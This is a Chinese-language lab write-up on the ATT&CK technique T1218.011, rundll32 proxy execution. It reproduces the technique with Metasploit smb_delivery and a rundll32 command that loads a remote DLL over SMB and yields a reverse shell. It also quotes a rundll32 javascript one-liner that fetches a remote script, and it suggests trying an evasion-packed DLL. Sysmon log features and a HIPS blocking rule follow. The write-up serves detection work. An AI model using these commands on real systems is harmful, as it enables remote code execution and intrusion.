T1218-011-win
0x01 基础信息
具体信息
详情
ATT&CK编号
T1218-011
所属战术阶段
执行
操作系统
windows7
创建时间
2022年11月13日
监测平台
火绒安全、sysmon
0x02 技术原理 Rundll32.exe程序可以调用来执行任意二进制文件。攻击者可能会利用此功能来代理执行代码,从而避免触发那些可能不会监控rundll32.exe进程执行的安全工具,因为正常操作中使用rundll32.exe的Windows会有白名单或误报。
Rundll32.exe可用于通过未记录的shell32.dll函数Control_RunDLL和 Control_RunDLLAsUser来执行控制面板项目文件(.cpl)。双击.cpl文件也会触发rundll32.exe执行。
Rundll32也可用于执行JavaScript等脚本。可以使用类似于下面的语法来完成:rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"
。这种方法已被恶意软件如Poweliks所使用。
0x03 复现环境
0x04 复现过程 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # 攻击端使用kali msfconsole msf5 > use exploit/windows/smb/smb_delivery msf5 exploit(windows/smb/smb_delivery) > set srvhost 192.168.126.146 srvhost => 192.168.126.146 msf5 exploit(windows/smb/smb_delivery) > exploit [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 192.168.126.146:4444 [*] Started service listener on 192.168.126.146:445 [*] Server started. [*] Run the following command on the target machine: rundll32.exe \\192.168.126.146\huwSj\test.dll,0 # 靶机执行命令 rundll32.exe \\192.168.126.146\huwSj\test.dll,0
测试结果:成功反弹Shell
0x05 检测方法
日志特征
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 - EventData RuleName - UtcTime 2022-11-13 11:28:01.516 ProcessGuid {400E83DB-D4C1-6370-8A00-000000001100 } ProcessId 3620 Image C:\Windows\SysWOW64\rundll32.exe FileVersion 6.1 .7601 .23755 (win7sp1_ldr.170330-0600) Description Windows host process (Rundll32) Product Microsoft? Windows? Operating System Company Microsoft Corporation OriginalFileName RUNDLL32.EXE CommandLine rundll32.exe CurrentDirectory C:\Users\innocent\ User innocent_win7\innocent LogonGuid {400E83DB-C8ED-6370-C868-040000000000 } LogonId 0x468c8 TerminalSessionId 1 IntegrityLevel Medium Hashes SHA256=3FA4912EB43FC304652D7B01F118589259861E2D628FA7C86193E54D5F987670 ParentProcessGuid {400E83DB-D4C1-6370-8900-000000001100 } ParentProcessId 3532 ParentImage C:\Windows\SysWOW64\rundll32.exe ParentCommandLine rundll32.exe \\********\GaDyU\test.dll,0 ParentUser innocent_win7\innocent
2.攻击特征
目前的规则下,火绒已经可以检出msf的远程dll。但该检测似乎是针对文件的,而非针对基于白名单的rundll32。后期可以尝试加免杀后的dll。
0x06 处置方法与规则编写
处置方法:
通过进程监控来检测和分析rundll32.exe的执行和参数。比较rundll32.exe的近期调用与历史已知合法参数及已加载动态链接库来确定是否有异常和潜在的攻击活动。在rundll32.exe调用之前和之后使用的命令参数也可用于确定正在加载的动态链接库的来源和目的。
火绒监测规则编写:
此处采取的办法是,禁止rundll32.exe从smb协议加载dll
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 { "ver" : "5.0" , "tag" : "hipsuser" , "data" : [ { "id" : 1 , "power" : 1 , "name" : "T1218-011-基于白名单Rundll32.exe执行payload" , "procname" : "C:\\Windows\\System32\\rundll32.exe" , "treatment" : 1 , "policies" : [ { "montype" : 1 , "action_type" : 2 , "res_path" : "\\\\*" } ] } ] }